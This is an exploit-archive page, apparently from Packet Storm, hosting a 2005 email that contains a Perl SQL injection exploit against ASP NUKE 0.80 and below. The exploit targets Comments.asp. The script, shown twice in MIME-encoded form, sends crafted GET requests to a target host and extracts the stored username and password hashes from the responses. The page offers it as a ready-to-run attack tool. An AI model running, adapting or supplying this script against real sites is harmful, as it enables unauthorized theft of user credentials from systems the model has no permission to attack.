what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

comasp.pl.txt

comasp.pl.txt
Posted Jun 1, 2005
Authored by Diabolic Crab | Site icis.digitalparadox.org

ASP NUKE 0.80 and below Comments.asp SQL injection exploit.

tags | exploit, sql injection, asp
SHA-256 | 981d3f36902696faecf7a43a4d797bb696472092239b78de66bda029cb1f7d1e

comasp.pl.txt

Change Mirror Download
This is a multi-part message in MIME format.

------=_NextPart_000_0039_01C5473D.C6C4A380
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

=20
#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";

getopt("h:p:");

$opt_p ||=3D 80;

if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}

$sqlpass =3D "/module/support/task/comments.asp?taskid=3DPassword-- =
HTTP/1.0\n";
$sqllogin =3D "/module/support/task/comments.asp?taskid=3DUsername-- =
HTTP/1.0\n";

print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";

$Q1 =3D "GET $sqllogin";
$Q1 .=3D "Host: ".$opt_h."\n\n";

$Q2 =3D "GET $sqlpass";
$Q2 .=3D "Host: ".$opt_h."\n\n";

$s =3D IO::Socket::INET->new(Proto =3D> 'tcp', PeerAddr =3D> $opt_h, =
PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);

$s =3D IO::Socket::INET->new(Proto=3D>'tcp', PeerAddr =3D> $opt_h, =
PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);

$s =3D index($usr,"'");
$e =3D index($usr,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Username in SHA 256 is: ";
print substr($usr, $s + 1, $f);
print "\n";

$s =3D index($pass,"'");
$e =3D index($pass,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";
Sincerely,
Diabolic Crab
Web Security, Research & Development
dP Security
email: dcrab@digitalparadox.org
website: http://www.digitalparadox.org=20

This message is confidential. It may also contain information that is=20
privileged or otherwise legally exempt from disclosure.=20
If you have received it by mistake please let us know by e-mail=20
immediately and delete it from your system; should also not copy=20
the message nor disclose its contents to anyone. Many thanks.


------=_NextPart_000_0039_01C5473D.C6C4A380
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2627" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><!--StartFragment --><FONT =
face=3D"Times New Roman"=20
size=3D3>&nbsp;</FONT><PRE>#!/usr/bin/perl

use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";

getopt("h:p:");

$opt_p ||=3D 80;

if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}

$sqlpass =3D "/module/support/task/comments.asp?taskid=3DPassword-- =
HTTP/1.0\n";
$sqllogin =3D "/module/support/task/comments.asp?taskid=3DUsername-- =
HTTP/1.0\n";

print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";

$Q1 =3D "GET $sqllogin";
$Q1 .=3D "Host: ".$opt_h."\n\n";

$Q2 =3D "GET $sqlpass";
$Q2 .=3D "Host: ".$opt_h."\n\n";

$s =3D IO::Socket::INET->new(Proto =3D> 'tcp', PeerAddr =3D> =
$opt_h, PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);

$s =3D IO::Socket::INET->new(Proto=3D>'tcp', PeerAddr =3D> =
$opt_h, PeerPort =3D> $opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);

$s =3D index($usr,"'");
$e =3D index($usr,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Username in SHA 256 is: ";
print substr($usr, $s + 1, $f);
print "\n";

$s =3D index($pass,"'");
$e =3D index($pass,"'", $s + 1);
$f =3D $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";
</PRE></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Sincerely,<BR>Diabolic Crab<BR>Web =
Security,&nbsp;=20
Research & Development<BR>dP Security<BR>email: <A=20
href=3D"mailto:dcrab@digitalparadox.org">dcrab@digitalparadox.org</A><BR>=
website:=20
<A =
href=3D"http://www.digitalparadox.org">http://www.digitalparadox.org</A> =

</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This message is confidential. It may =
also contain=20
information that is <BR>privileged or otherwise legally exempt from =
disclosure.=20
<BR>If you have received it by mistake please let us know by e-mail=20
<BR>immediately and delete it from your system; should also not copy =
<BR>the=20
message nor disclose its contents to anyone. Many thanks.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0039_01C5473D.C6C4A380--
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close